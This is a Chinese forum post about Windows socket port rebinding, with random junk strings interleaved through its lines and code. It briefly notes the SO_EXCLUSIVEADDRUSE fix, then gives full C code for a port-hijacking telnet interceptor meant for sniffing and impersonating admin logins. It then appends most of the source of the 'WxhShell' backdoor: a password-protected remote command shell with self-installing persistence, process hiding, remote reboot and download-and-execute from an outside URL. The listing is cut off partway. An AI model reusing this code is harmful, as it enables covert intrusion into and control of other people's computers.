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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 6 1= ?(Iw  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 1@nGD<,.  
o b  
  saddr.sin_family = AF_INET; v5|X=B>&>  
y@;4F n/  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ,KlTitJl\+  
|5wuYG  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); g& y R-  
c3gy{:lb  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 9})!~r;|  
41<.e` {  
  这意味着什么?意味着可以进行如下的攻击: zfE;)K^"  
t5z6{`  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 `  L(AvSR  
y)W.xR  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ^|6%~jkD5  
3z[yKua\  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ,`/J1(\ nd  
O[3AI^2  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  t6;Ln().Hw  
 `x"0  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 `0rEV _$  
J}7iXTh  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 \o^M,yI  
eH2.,wY1  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ,w|f*L$  
uc?QS~H&w  
  #include zh$[UdY6  
  #include q/,W'lQ\;  
  #include p6(n\egR  
  #include    %Ke:%##Y  
  DWORD WINAPI ClientThread(LPVOID lpParam);   L&qzX)  
  int main() DRD%pm(  
  { ;T}#-`O_Im  
  WORD wVersionRequested; }Po&6^  
  DWORD ret; 0px@3/  
  WSADATA wsaData; =KwG;25hX  
  BOOL val; eR(PY{  
  SOCKADDR_IN saddr; J!,5HJh1  
  SOCKADDR_IN scaddr; =5EG}@  
  int err; jNN$/ZWm  
  SOCKET s; I"E5XVC);  
  SOCKET sc; /xjHzva^ w  
  int caddsize; w$H=GF?"  
  HANDLE mt; --0z"`@{  
  DWORD tid;   ,UQ4`Mh^L  
  wVersionRequested = MAKEWORD( 2, 2 ); } XCHoB  
  err = WSAStartup( wVersionRequested, &wsaData ); ;m}lmq,  
  if ( err != 0 ) { da3]#%i0  
  printf("error!WSAStartup failed!\n"); ?lzg )88I  
  return -1; J<:qzwh  
  } )< ~1AL  
  saddr.sin_family = AF_INET; OGNjn9av  
   Cw]Q)rX{  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 y&\ J  
-OZRSjmY  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 8=Di+r  
  saddr.sin_port = htons(23); @`U78)]  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) w%cd $"EH  
  { R|h9ilc  
  printf("error!socket failed!\n"); ]*pALT6  
  return -1; 4J2NIFZ  
  } _;J7#j~}  
  val = TRUE; q('O@-HA  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 oUEpzv,J  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 3Juhn5&N  
  { MJ >9[hs  
  printf("error!setsockopt failed!\n"); xaWd \]UF  
  return -1; $%VFk53I  
  } JoA^9AYhR  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; L<Q1acoZm  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 8^;[c  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 )`Tny]M  
mFOuE5  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) <tAn2e!  
  { _s!(9  
  ret=GetLastError(); AFL*a*  
  printf("error!bind failed!\n"); qgw:Q  
  return -1; 5aw#!K=J'  
  } +Ij>\;vM"  
  listen(s,2); XU.ZYYZ=  
  while(1) 38 Lc|w  
  { Zb`}/%\7  
  caddsize = sizeof(scaddr); -MoI{3a  
  //接受连接请求 RX:\@c&  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);  m2%uGqz  
  if(sc!=INVALID_SOCKET) N(Us9  
  { 5xP\6Nx6&5  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); fk`y}#7M  
  if(mt==NULL) [ V()7  
  { 4~4PZ  
  printf("Thread Creat Failed!\n"); Os9xZ  
  break; F<X)eO]tk  
  } nJ.p PzH2g  
  } 5bGV91  
  CloseHandle(mt); V@<tIui$  
  } ]*U\ gm%  
  closesocket(s); DM{ 7x77  
  WSACleanup(); lu_ y9o^  
  return 0; D0=D8P}H:  
  }   =ji p* E^  
  DWORD WINAPI ClientThread(LPVOID lpParam) `N}<lg(0#  
  { e{Pgz0sO Q  
  SOCKET ss = (SOCKET)lpParam; gm9e-QIHK  
  SOCKET sc; V;ZyAp  
  unsigned char buf[4096]; ~m y\{q  
  SOCKADDR_IN saddr; uXW<8( %W  
  long num; (w?@qs!  
  DWORD val; ^~|P[}  
  DWORD ret; _;$VH4(BI  
  //如果是隐藏端口应用的话,可以在此处加一些判断 +60zJ 4  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   &fq-U5zH  
  saddr.sin_family = AF_INET; Skl1%`  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); N%/Qc hu  
  saddr.sin_port = htons(23); aB-*l %x  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) :x]gTZ?  
  { x$I~y D  
  printf("error!socket failed!\n"); /K<Xr[z~y  
  return -1; e`'O!  
  } }8GCOY  
  val = 100; j"HB[N   
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) =El.uBz{  
  { E}mnGe  
  ret = GetLastError(); 15#v|/wI'  
  return -1; ;^lVIS%&{  
  } `4}zB#3  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) lQ!ukl)  
  { %Y:'5\^lC  
  ret = GetLastError(); >Be PE(k  
  return -1; yC4JYF]JN  
  } 3>yb$ZU"-  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) )-#%  
  { Yn[y9;I{  
  printf("error!socket connect failed!\n"); %JBp~"  
  closesocket(sc); {_|~G|Z  
  closesocket(ss); /"tVOv#  
  return -1; soA>&b !?  
  } K&<bn22  
  while(1) u2y?WcMv  
  { S%-L!V ,  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 -4Zf0r1u  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 lMB^/-Y  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 {HNGohZt  
  num = recv(ss,buf,4096,0); /cexd_l|f  
  if(num>0) GKH 7Xx(  
  send(sc,buf,num,0); F N;X"it.  
  else if(num==0) Qr1%"^4  
  break; ny'~pT'00  
  num = recv(sc,buf,4096,0); Fl]$ql   
  if(num>0) :e ?qm7cB  
  send(ss,buf,num,0); U:c!9uhp  
  else if(num==0) kM*f9x  
  break; ,'m<um  
  } ,* ?bET $  
  closesocket(ss); k]`I 3>/L  
  closesocket(sc); Sb>;k(;`:  
  return 0 ; LR]P?  
  } /@lXQM9 T  
]zmY] 5  
G#@o6r  
========================================================== v)!Rir5  
nORm7sa9  
下边附上一个代码,,WXhSHELL XB UO  
 r75,mX  
========================================================== {6~v oVkj  
c_x6FoE;L  
#include "stdafx.h" F'*y2FC  
;gTdiwfgZ=  
#include <stdio.h> <tMiI)0%  
#include <string.h> sKB])mf]  
#include <windows.h> zPWG^  
#include <winsock2.h> >1T=Aw2Z.  
#include <winsvc.h> bk}.^m!  
#include <urlmon.h> iE':ur<`  
#,Fk  
#pragma comment (lib, "Ws2_32.lib") f}Eoc>n  
#pragma comment (lib, "urlmon.lib") o?b$}Qrl  
P-ys$=  
#define MAX_USER   100 // 最大客户端连接数 |s+[489g'6  
#define BUF_SOCK   200 // sock buffer 8k2prv^  
#define KEY_BUFF   255 // 输入 buffer 0SwWLq  
FcdbL,}=<  
#define REBOOT     0   // 重启 yDWzsA/X  
#define SHUTDOWN   1   // 关机 NcZ6!wWdE  
(ST />")L  
#define DEF_PORT   5000 // 监听端口 }?$d~]t)  
y+_G L=J  
#define REG_LEN     16   // 注册表键长度 tcSn`+Bu_`  
#define SVC_LEN     80   // NT服务名长度 +IK~a9t  
7]@vPr;:  
// 从dll定义API z^gf@r  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); *^ \xH,.  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); F +D2 xN@  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 1mwb&j24n3  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); @E{c P%fv  
vK!,vKa.  
// wxhshell配置信息 F/tBr%RV  
struct WSCFG { 4gG&u33RrE  
  int ws_port;         // 监听端口 -1Yt3M&  
  char ws_passstr[REG_LEN]; // 口令 Z`o}xV  
  int ws_autoins;       // 安装标记, 1=yes 0=no [~` ; .7~  
  char ws_regname[REG_LEN]; // 注册表键名 A 7'dD$9  
  char ws_svcname[REG_LEN]; // 服务名 J )oa:Q  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 7C9qkQ Jqn  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Yl% Ra1  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 )3=oS1p  
int ws_downexe;       // 下载执行标记, 1=yes 0=no xqmP/1=NO  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Xnt`7L<L  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 AH;0=<n  
rOm)s'  
}; 7h<B:~(K  
;VSHXU'H  
// default Wxhshell configuration z|=l^u6uS  
struct WSCFG wscfg={DEF_PORT, >7!4o9)c  
    "xuhuanlingzhe", Q[;!z1ur  
    1, T-xcd  
    "Wxhshell", %E3|b6k\  
    "Wxhshell", <,(6*b  
            "WxhShell Service", X<Rh-1$8F  
    "Wrsky Windows CmdShell Service", I?c# T Rm  
    "Please Input Your Password: ", Y\(Q  
  1, q{ n~v>wU  
  "http://www.wrsky.com/wxhshell.exe", 8b8ui  
  "Wxhshell.exe" K I  
    }; /d%&s^M:  
u3R0_8 _.w  
// 消息定义模块 "pa5+N&2-  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; +M$2:[xRT  
char *msg_ws_prompt="\n\r? for help\n\r#>"; lj/ ?P9  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; i*:lZeU61  
char *msg_ws_ext="\n\rExit."; v}Gq.(b  
char *msg_ws_end="\n\rQuit."; r50}j  
char *msg_ws_boot="\n\rReboot..."; >k<.bEx(A  
char *msg_ws_poff="\n\rShutdown..."; @ eqVu g  
char *msg_ws_down="\n\rSave to "; Us+|L|/  
L)H7~.Dj  
char *msg_ws_err="\n\rErr!"; IxAKIa[HY  
char *msg_ws_ok="\n\rOK!"; 36` aG Y  
;+>-uPT/1  
char ExeFile[MAX_PATH]; oJ ,t]e*q=  
int nUser = 0; BEPeK  
HANDLE handles[MAX_USER]; ;Z-xum{  
int OsIsNt; \m1r(*Ar  
lsCD%P  
SERVICE_STATUS       serviceStatus; wA|m/SZx  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; *>n<7T0  
~P 1(%FZ  
// 函数声明 g05:A0X#  
int Install(void); ;JDn1(6  
int Uninstall(void); ^*#5iT8/  
int DownloadFile(char *sURL, SOCKET wsh); [?r`8K2!,  
int Boot(int flag); ?;i O  
void HideProc(void); )TnxsFC  
int GetOsVer(void);  0$b)@  
int Wxhshell(SOCKET wsl); qXR>Z=K<  
void TalkWithClient(void *cs); 5rRYv~+  
int CmdShell(SOCKET sock); M&Sjo' ( .  
int StartFromService(void); h`-aO u  
int StartWxhshell(LPSTR lpCmdLine); tu#VZAPW@  
i=OPl  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); dy-m9fc6%  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); j#$ R.  
5&D)W>{d  
// 数据结构和表定义 q+.DZ @  
SERVICE_TABLE_ENTRY DispatchTable[] = %*>=L$A  
{ !e*Q2H+  
{wscfg.ws_svcname, NTServiceMain}, wo5"f}vd#  
{NULL, NULL} v~[=|_{  
}; v3x_8n$C9  
dqwAQ-x  
// 自我安装 |G&<@8O  
int Install(void) \\AufAkJ  
{ y2gI]A  
  char svExeFile[MAX_PATH]; lO3$V JI  
  HKEY key; fWhwI+  
  strcpy(svExeFile,ExeFile); xbnx*4o0  
h-+9Bv]  
// 如果是win9x系统,修改注册表设为自启动 5"%r,GMU  
if(!OsIsNt) { I7ZY9W(S  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { }`E5I&r4  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Rx<m+=  
  RegCloseKey(key); 2Vas`/~u~  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { `*mctjSN  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); jq yqOhb4  
  RegCloseKey(key); R$X1Q/#md  
  return 0; }dX[u`zQ  
    } ~McmlJzJG  
  } !4\`g?  
} TCYjj:/  
else { Y!c RzQ  
``kiAKMy  
// 如果是NT以上系统,安装为系统服务 h}k&#X)7  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); lM`M70~  
if (schSCManager!=0) _tTtq/z<  
{ Gl}[1<~o  
  SC_HANDLE schService = CreateService +kP)T(6  
  ( #|k;nFJ  
  schSCManager, *%5 .{J!  
  wscfg.ws_svcname, x9k(mn%,  
  wscfg.ws_svcdisp, _p<W  
  SERVICE_ALL_ACCESS, |Wd]:ijJ  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , `9E:V=  
  SERVICE_AUTO_START, @GDe{GG+  
  SERVICE_ERROR_NORMAL, h[b5"Uqj  
  svExeFile, @]P#]%^D2  
  NULL, 3}e-qFlV8,  
  NULL, Y f:xM>.%  
  NULL, };6[Byf  
  NULL, DXu#07\  
  NULL {R%v4#nk  
  ); _ +[;NBz  
  if (schService!=0) dP63bV  
  { NBEcx>pma  
  CloseServiceHandle(schService); <aR9,:  
  CloseServiceHandle(schSCManager); u>o<u a p  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); s\y+ xa:  
  strcat(svExeFile,wscfg.ws_svcname); <^q4^Q[  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { GjN/8>/  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); R_ymTB}<t(  
  RegCloseKey(key); ^ cpQ*Fz  
  return 0; s kC*  
    } 4scY 8(1  
  } MkgeECMf  
  CloseServiceHandle(schSCManager); mz$)80ly  
} /\34o{  
} EvSo|}JA[  
t0h @i`  
return 1; nI7G"f[%r;  
} nJ'FH['  
#=C!Xx&  
// 自我卸载 $*w]]b$Dn  
int Uninstall(void) gEcRJ1Q;C  
{ .l5y+a'  
  HKEY key; 8*z)aB&f3  
'X_8j` ]#  
if(!OsIsNt) { kDI(Y=Fg  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { X3&-kU  
  RegDeleteValue(key,wscfg.ws_regname); {U@&hE -  
  RegCloseKey(key); PDQC^2Z  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { T n.Cj5  
  RegDeleteValue(key,wscfg.ws_regname); C^9G \s'  
  RegCloseKey(key); c-3-,pyM_T  
  return 0; |s[kY  
  } 2yZ/'}Mw  
} OXcQMVa 6  
} Dx`-Kg_p  
else { ;D.a |(Q  
le60b@2G0  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);  gP%S{<.?  
if (schSCManager!=0) >xrO W`p ]  
{ D=Ia$O0.  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ?.Mw  
  if (schService!=0) ERD( qL.J  
  { f$#--*  
  if(DeleteService(schService)!=0) { gS{hfDpk,h  
  CloseServiceHandle(schService); 2..b/  
  CloseServiceHandle(schSCManager); /$ Gp<.z  
  return 0; zURxXo/\V  
  } cV^r_E\m  
  CloseServiceHandle(schService); 6[ }~m\cY  
  } r9nH6 Md\  
  CloseServiceHandle(schSCManager); v"wxHro  
} tgmG#b*  
} RW| LL@r  
z H$^.1  
return 1; ) H=}bqn  
} 8T"C]  
yF2|w=!  
// 从指定url下载文件 tg =ClZ-  
int DownloadFile(char *sURL, SOCKET wsh) Y'K+O  
{ t8SvU  
  HRESULT hr; ]^aOYtKX  
char seps[]= "/"; r\nKJdh;ka  
char *token; }nh!dVA8lh  
char *file; UQ]WBS\  
char myURL[MAX_PATH]; 6zv-nMZc  
char myFILE[MAX_PATH]; .U}"ONd9e  
o[Ojl .r<  
strcpy(myURL,sURL); cHqT1EY  
  token=strtok(myURL,seps); fKEZlrw  
  while(token!=NULL) /$ a>f>EJ  
  { mL\_C9k,n  
    file=token; WRa1VU&f  
  token=strtok(NULL,seps); Fu0"Asxce  
  } `y"(\1  
Dxp8^VL  
GetCurrentDirectory(MAX_PATH,myFILE); JF{yhx,+ p  
strcat(myFILE, "\\"); U~9Y9qzy,  
strcat(myFILE, file); P`z#tDT^"  
  send(wsh,myFILE,strlen(myFILE),0); v9?hcJ=  
send(wsh,"...",3,0); R"@J*\;$T  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); H}v.0R  
  if(hr==S_OK) %DyukUJ  
return 0; >fZ N?>`  
else Ek'~i  
return 1; nE"##2X  
^d6}rtG  
} YY{0WWua  
>i&"{GZ  
// 系统电源模块 [/Q .MmnL  
int Boot(int flag) ^(}D  
{ }5_[t9LX  
  HANDLE hToken; t2bv nh  
  TOKEN_PRIVILEGES tkp; d_t>  
n*(9:y=l1  
  if(OsIsNt) { GjVq"S  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 8w,+Y]X<P[  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 0}LB nV  
    tkp.PrivilegeCount = 1; q47>RWMh%  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; !4;A"B(  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); +M )ep\j  
if(flag==REBOOT) { (L`7-6e(Ab  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 18`YY\u(  
  return 0; ?E>(zV1D/  
} ,<Ag&*YE4  
else { F7fpsAt7  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) %E<.\\^%  
  return 0; U%.%:'eV=  
} MH wjJ  
  } 4o/}KUu(*  
  else { g5",jTn#  
if(flag==REBOOT) { Z<_"Tk;!',  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ,K/l;M5I  
  return 0; &# [w*t(A  
} s&Bk@a8  
else { ^nO0/nqz]  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) xi+bBqg<.K  
  return 0; ;)n kY6-  
} X667*L^  
} Q:L^DZkGV  
9F~e^v]zp  
return 1; 0iKSUw ps  
} "+0Yhr?  
JD\yl[ac%  
// win9x进程隐藏模块 o*]Tqx  
void HideProc(void) y nue;*rM  
{ %|"0p3  
E O.Se9ux  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); f`;y "ba  
  if ( hKernel != NULL ) i}tBB~]  
  { TTYM!+T  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); \*a7o GyH>  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); E =*82Y=B  
    FreeLibrary(hKernel); xX !`0T7Y  
  } z_i (o  
kv!QO^;^Y  
return; ul@swp  
} 96(3ilAt  
g36:OK"  
// 获取操作系统版本 cVV@MC  
int GetOsVer(void) wo#,c(  
{ v[7iWBqJ  
  OSVERSIONINFO winfo; s'7PHP)LOJ  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); xM+_rU M|h  
  GetVersionEx(&winfo); {/)q=  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ,H)v+lI  
  return 1; k^H&IS!  
  else thU9s%,  
  return 0; =00c1v  
} ^y,Ex;6o  
Za110oF  
// 客户端句柄模块 ~M c'~:{O  
int Wxhshell(SOCKET wsl) ]NEr]sc-"F  
{ ?DGe}?pX  
  SOCKET wsh; ^cz4nW<  
  struct sockaddr_in client; o^efeI  
  DWORD myID; gTM*td(~^  
[ pe{,lp  
  while(nUser<MAX_USER) 7^oO N+=d  
{ |#b]e|aP  
  int nSize=sizeof(client); +nIjW;RU  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); DXa!"ZU  
  if(wsh==INVALID_SOCKET) return 1; i-jrF6&  
,<CFjtelO  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 6*aU^#Hz6  
if(handles[nUser]==0) =,Zkg(M  
  closesocket(wsh); hl/) 1sOIR  
else FHK{cE  
  nUser++; A3 uF 0A  
  } cb3Q{.-.#  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ZLGglT'EW>  
R/WbcQ)  
  return 0; Bs3M7z RG  
} j&N {j_ M  
im&Nkk4n@  
// 关闭 socket )ep1`n-  
void CloseIt(SOCKET wsh) ymW? <\AD,  
{ u*S-Pji,x  
closesocket(wsh); /'l"Us},^!  
nUser--; T Ob(  
ExitThread(0); sd5)We  
} +^cjdH*  
j[RY  
// 客户端请求句柄 z 0}JiWR  
void TalkWithClient(void *cs) D#k ~lEPub  
{ u~~H'*EM  
=j"bLX6;  
  SOCKET wsh=(SOCKET)cs; _2a)b(<tF  
  char pwd[SVC_LEN]; *-';ycOvr  
  char cmd[KEY_BUFF]; W; zzc1v  
char chr[1]; ?u4t;  
int i,j; 'lMDlTU O  
P!yOA_)as  
  while (nUser < MAX_USER) { R*`=Bk0+  
W9G1wU  
if(wscfg.ws_passstr) { E)iX`Xq|0{  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); xG1(vn83gq  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ri1;i= W  
  //ZeroMemory(pwd,KEY_BUFF); edL sn>\*#  
      i=0; Vo;0i$  
  while(i<SVC_LEN) { tu slkOE#  
20 Z/Y\  
  // 设置超时 i*)BFV_-  
  fd_set FdRead; VZ]}9k  
  struct timeval TimeOut; tc|PN+v;  
  FD_ZERO(&FdRead); ;U&~tpd  
  FD_SET(wsh,&FdRead); B; ^1W{%J  
  TimeOut.tv_sec=8; vNQ|tmn  
  TimeOut.tv_usec=0; .O&[9`"'  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); xdgbs-a)  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); '!"rE1e  
2w;Cw~<=d  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); H1d2WNr[  
  pwd=chr[0]; s>I~%+V.?:  
  if(chr[0]==0xd || chr[0]==0xa) { W) ?s''WE;  
  pwd=0; F|&%Z(@a  
  break; 4d8}g25C  
  } +&4@HHU{G  
  i++; &U_T1-UR2  
    } mM2DZ^"j(  
EEP&Y?  
  // 如果是非法用户,关闭 socket Od+nBJ   
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); jpkKdQX)  
} jSQM3+`b  
GQ0(lS  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); =bOMtQ]  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ?BR Z){)  
2t;3_C  
while(1) { yS.)l  
C'6c,  
  ZeroMemory(cmd,KEY_BUFF); e8 c.&j3m  
bH g 0,N  
      // 自动支持客户端 telnet标准   %F87"v~  
  j=0; xQ! Va  
  while(j<KEY_BUFF) { IqFmJs|C  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); i 2 ='>  
  cmd[j]=chr[0]; p+;;01Z+_  
  if(chr[0]==0xa || chr[0]==0xd) { 5Y>fVq{U?;  
  cmd[j]=0; b(~#CHg  
  break; -HvJ&O.V$  
  } o]B2^Yq;x  
  j++; 6Z5$cR_vC7  
    } TMD*-wYr  
uBw[|,yn2*  
  // 下载文件 c27Zh=;Tj  
  if(strstr(cmd,"http://")) { bQ-n<Lx  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Z~K} @  
  if(DownloadFile(cmd,wsh)) w>4( hGO  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^ f[^.k$3d  
  else /jSb ^1\  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~m4 LL[  
  } n] 8*yoge  
  else { {S`Rr/E|%  
N}Or+:"O:q  
    switch(cmd[0]) { kyf(V)APPu  
  x@*?~1ai  
  // 帮助 zp\_5[qJ;  
  case '?': { G_}oI|B  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 44pVZ5c  
    break; `_x#`%!#2  
  } L7"<a2J  
  // 安装 X([@}ren  
  case 'i': { 75iudki  
    if(Install()) {<zE}7/2-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); wj8\eK)]L  
    else BkB9u&s^  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); X=? \A{Y  
    break; | Pqs)Mb]  
    } ypNeTR$4  
  // 卸载 ; hU9_e  
  case 'r': { CoV @{Pi  
    if(Uninstall()) o\qeX|.70  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0R;`)V\^  
    else rS0#]Gg  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Hp@cBj_@P2  
    break; ~ujg250.L  
    } X{iidTW`xv  
  // 显示 wxhshell 所在路径 @ev^e !B  
  case 'p': { PiLLUyQx  
    char svExeFile[MAX_PATH]; a YY1*^  
    strcpy(svExeFile,"\n\r"); u4xJ-Vu  
      strcat(svExeFile,ExeFile); lUiO|  
        send(wsh,svExeFile,strlen(svExeFile),0); `FK qVd  
    break; eGUe#(I /  
    } 'cY @Dqg1  
  // 重启 d>/4z#R}-  
  case 'b': { _I%mY!x\`  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); #2+hu^Q-  
    if(Boot(REBOOT)) 3*R(&O6}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); n65fT+;  
    else { JEfhr  
    closesocket(wsh); J?Rp  
    ExitThread(0); v%QC p  
    } R%JEx3)0m  
    break; USXPa[  
    } BT(G9 Pj;  
  // 关机 hP/uS%X   
